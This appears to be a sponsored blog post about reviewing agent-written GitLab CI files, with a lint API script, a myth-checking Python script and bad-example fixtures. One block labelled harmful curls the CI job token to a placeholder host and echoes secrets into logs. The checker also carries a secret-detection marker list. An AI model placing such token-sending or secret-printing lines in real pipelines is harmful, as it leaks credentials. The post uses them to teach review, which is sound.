The Agent Wrote YAML. GitLab Still Has to Compile It.

Did the agent just fix your pipeline file?
The chat log looked completely green after rewrite. The merge request still failed in GitLab.

I keep seeing the same four stubborn myths.
They appear after every confident agent YAML rewrite.

This post is not another test-suite rant.
This piece is about .gitlab-ci.yml the agent invented.

What actually broke?

Someone pasted a red job into a coding agent.
The model returned a prettier pipeline file.

Then they committed that file far too fast.
GitLab then did one of these things:

• rejected the YAML during GitLab compile
• scheduled a job on the wrong runner
• skipped the job because rules were empty
• pulled image: latest on a Monday

Does that sequence feel familiar to you?

Myth 1: Valid YAML means valid GitLab CI

The agent ran a generic YAML parser first.
It printed a proud syntax-ok status banner. You believed that banner without a fight.

GitLab CI is not generic YAML though.
It is a product-specific job graph instead.

Keys like needs, rules, include, and workflow carry semantics.
A parser cannot see a missing stage name. A parser cannot see a cyclic needs chain.

Here is the corrected mental model I use.
Treat GitLab itself as the compiler, always. Treat the agent as a noisy first draft.

Evidence you can collect tonight

Run the project's own lint API.
Do not trust the chat log instead.

# Example only. You supply URL, project id, and a token variable.
# GitLab CI Lint: POST /api/v4/projects/:id/ci/lint
python3 - <<'PY'
import json, os, urllib.request
from pathlib import Path
content = Path(".gitlab-ci.yml").read_text(encoding="utf-8")
url = os.environ["GITLAB_URL"].rstrip("/") + "/api/v4/projects/" + os.environ["PROJECT_ID"] + "/ci/lint?include_merged_yaml=true"
req = urllib.request.Request(
    url,
    data=json.dumps({"content": content}).encode(),
    headers={
        "PRIVATE-TOKEN": os.environ["GITLAB_TOKEN"],
        "Content-Type": "application/json",
    },
    method="POST",
)
print(json.load(urllib.request.urlopen(req)))
PY

What should you look at in that JSON?
You want valid true, plus merged YAML. Errors belong in the merge request, not the chat.

Want a local first pass before that call?
Use a dedicated linter, not yaml.safe_load.

# Example only. Pin the linter version in your own environment.
pip install yamllint
yamllint -d relaxed .gitlab-ci.yml

yamllint still cannot compile GitLab jobs.
It only catches indentation theater in files. Why pretend a parser is GitLab?

Myth 2: A free remote shell is a GitLab runner

The agent offered a free remote shell.
It ran pytest there. The transcript looked official.

Was that your tagged GitLab runner fleet?
Did it mount the same Docker socket? Did it honor CI_JOB_TOKEN scopes?

No, that remote box was only a scratch environment.
A scratch box does not inherit your runner tags.

Corrected model, said bluntly:
A free server is a sketchpad. A GitLab runner is a contract.

I will name one product here, once.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.

MonkeyCode offers free model access.
It also offers a free server option. I treat that pair as a rewrite loop only.

It is not your tags: [gpu, protected] fleet.
Do not point production deploy jobs at it. Do not paste CI_JOB_TOKEN into that shell.

Agents invent runner tags

They copy blog posts. They guess names. GitLab then waits until the job times out.

# Agent-style draft. Do not ship this.
build:
  tags:
    - docker
    - linux-large
  image: python:latest
  script:
    - pytest

Does linux-large exist in your fleet?
If nobody registered that tag, the job sits idle. Keep an allowlist beside the YAML.

# runner-tags.txt — your real tags, one per line
docker
saas-linux-small-amd64

Myth 3: The model can see protected variables

The agent asked for "the usual secrets."
It wrote echo $DB_PASSWORD for debugging. That is a log leak, not a fix.

Protected variables live in GitLab.
They appear only on protected refs. The model never had them, which is good.

Corrected model for reviews:
If the draft prints env, reject the draft. If it curls with $CI_JOB_TOKEN, reject it.

Would you merge this block from a stranger?

# Harmful pattern. Treat as a failed review.
release:
  stage: deploy
  rules:
    - when: always
  script:
    - echo "token=$CI_JOB_TOKEN"
    - curl -H "JOB-TOKEN: $CI_JOB_TOKEN" https://example.invalid/hook
    - echo $DB_PASSWORD

Why is this wrong in GitLab terms?

• when: always ignores the branch and the MR
• job logs keep whatever echo prints
• tokens belong in GitLab-side config, not scripts
• a hook URL from chat is not an allowlisted endpoint

Ask a sharper question during review.
Who can read this job log after the pipeline runs?

Myth 4: image: latest is a harmless default

The agent hates version pins.
Pins look ugly in a short chat window.

latest moves without your consent.
Your pipeline is then not yours. Monday's latest is not Friday's latest.

Corrected model I want on the MR:
An unpinned image is an unpinned build. Digest pins are optional; tags are not optional.

# Bad: moving tag
image: python:latest

# Better: explicit tag you can rebuild
# Still verify the tag in your own registry.
image:
  name: python:3.12.6-slim-bookworm

I am not quoting public registry stats here.
I am telling you the tag moved. Can you rebuild last week's pipeline bit for bit?

A review workflow that actually bites

Here is the loop I want in merge requests.
Four gates. No vibes. No "the model said it compiled."

1. Parse YAML, then stop bragging about syntax.
2. Lint with GitLab, not with the model.
3. Run the myth checker in the next section.
4. Only then ask an agent to rewrite a failing snippet.

Keep secrets off the remote box.
Paste job names and error lines, not .env. Feed lint JSON into the rewrite, not the variable store.

If a free model and a free server sit in that loop, they sit at step 4 only.
Steps 1–3 stay on your laptop and on GitLab. That order is the whole point.

Artifact: ci_myth_check.py

This is a local example you can run.
It does not replace GitLab lint. It flags the four myths above.

Save the fixture first.
Then save the checker. Then run both before you commit.

# bad-ci.yml — fixture for ci_myth_check.py
build:
  image: python:latest
  tags:
    - linux-large
  script:
    - pytest
    - echo $CI_JOB_TOKEN

deploy:
  image: alpine
  rules:
    - when: always
  script:
    - echo $DB_PASSWORD

#!/usr/bin/env python3
"""Flag common myths in agent-written GitLab CI YAML.

Example only. Not a GitLab compiler.
Requires: PyYAML
"""
from __future__ import annotations

import argparse
import sys
from pathlib import Path
from typing import Any

try:
    import yaml
except ImportError:
    sys.stderr.write("Install PyYAML first: pip install pyyaml\n")
    sys.exit(2)

RESERVED = {
    "image", "services", "stages", "variables", "include",
    "workflow", "default", "pages", "cache",
}
SECRET_MARKERS = (
    "CI_JOB_TOKEN",
    "PRIVATE-TOKEN",
    "DB_PASSWORD",
    "AWS_SECRET",
    "echo $",
)


def jobs(doc: dict[str, Any]) -> dict[str, Any]:
    out = {}
    for key, val in doc.items():
        if key.startswith(".") or key in RESERVED:
            continue
        if isinstance(val, dict) and ("script" in val or "trigger" in val):
            out[key] = val
    return out


def image_tag(image: Any) -> str | None:
    name = None
    if isinstance(image, str):
        name = image
    elif isinstance(image, dict) and isinstance(image.get("name"), str):
        name = image["name"]
    if not name or ":" not in name:
        return None
    return name.rsplit(":", 1)[-1]


def check_image(name: str, job: dict[str, Any], findings: list[str]) -> None:
    image = job.get("image")
    tag = image_tag(image)
    if tag in {None, "latest", "stable"}:
        findings.append(f"{name}: unpinned or missing image tag ({image!r})")


def check_script(name: str, job: dict[str, Any], findings: list[str]) -> None:
    script = job.get("script", [])
    if isinstance(script, str):
        script = [script]
    for line in script:
        if not isinstance(line, str):
            continue
        if any(marker in line for marker in SECRET_MARKERS):
            findings.append(f"{name}: script looks like it prints secrets: {line!r}")


def check_rules(name: str, job: dict[str, Any], findings: list[str]) -> None:
    rules = job.get("rules")
    if not rules and "only" not in job and "except" not in job:
        findings.append(f"{name}: no rules/only/except; may run on every ref")
    if isinstance(rules, list):
        for rule in rules:
            if isinstance(rule, dict) and rule.get("when") == "always" and len(rule) == 1:
                findings.append(f"{name}: rules contain bare when: always")


def check_tags(name: str, job: dict[str, Any], allow: set[str], findings: list[str]) -> None:
    tags = job.get("tags") or []
    if not isinstance(tags, list):
        return
    for tag in tags:
        if allow and tag not in allow:
            findings.append(f"{name}: unknown runner tag {tag!r}")


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("yaml_path")
    parser.add_argument("--allow-tags", default="")
    args = parser.parse_args()
    allow = {item for item in args.allow_tags.split(",") if item}
    raw = Path(args.yaml_path).read_text(encoding="utf-8")
    doc = yaml.safe_load(raw)
    if not isinstance(doc, dict):
        print("Not a mapping. GitLab CI will not compile this.")
        return 1
    findings: list[str] = []
    if "stages" not in doc:
        findings.append("top-level: no stages key (GitLab will invent defaults)")
    for name, job in jobs(doc).items():
        check_image(name, job, findings)
        check_script(name, job, findings)
        check_rules(name, job, findings)
        check_tags(name, job, allow, findings)
    if not findings:
        print("No myth-check hits. Still run GitLab ci/lint.")
        return 0
    print("Myth-check hits:")
    for item in findings:
        print(f"- {item}")
    return 1


if __name__ == "__main__":
    sys.exit(main())

Run it like this:

pip install pyyaml
python3 ci_myth_check.py bad-ci.yml --allow-tags docker,saas-linux-small-amd64
echo $?

An exit code of 1 means you stop.
Do not argue with the model about taste. The fixture should fail on unpinned images, fake tags, secret echoes, and when: always.

Expected hits on bad-ci.yml:

• build: unpinned python:latest
• build: unknown runner tag linux-large
• build: echo $CI_JOB_TOKEN
• deploy: unpinned alpine
• deploy: bare when: always
• deploy: echo $DB_PASSWORD

If your copy prints nothing, the script did not load.
Fix the import before you trust a green chat again.

Decision table

Claim the agent makes	What you verify	Pass only if
"YAML is valid"	GitLab ci/lint	valid is true and merged YAML exists
"It ran on my server"	Runner tag allowlist	Every tags: entry is yours
"Secrets are wired"	Job log plus protected flags	No echo $SECRET; vars stay in GitLab
"latest is fine"	Image name	Tag is pinned; digest optional

Print that table in the MR template if you must.
I would rather see the lint JSON attached. Which column do you currently skip?

Limitations

This checker does not expand include:.
It does not simulate rules:changes. It does not know shared runner names unless you pass them.

I did not benchmark agents against GitLab.
I did not invent quotas, model names, or hardware claims. A green checker is not a release.

GitLab can still fail after lint.
Lint does not run your tests. Compile success is not job success. Do you still want the chat to be the gate?

Who should not use this approach

Skip the remote rewrite loop if any item matches:

• your compliance forbids sending CI files off-box
• the file contains hostnames you cannot share
• you need a signed runner, not a sketchpad
• you cannot run ci/lint on the target project

Do not use the checker as a security scanner.
It is a myth net, not a SAST tool. It will miss clever leaks and hidden include: files.

The mental model I want you to keep

Ask four questions on every agent patch:

1. Did GitLab compile it?
2. Did we pin the image?
3. Did we allow the runner tags?
4. Did any script print a secret?

If any answer is no, the chat does not matter.
The agent can still be useful for drafts. Keep it downstream of lint, not upstream of production.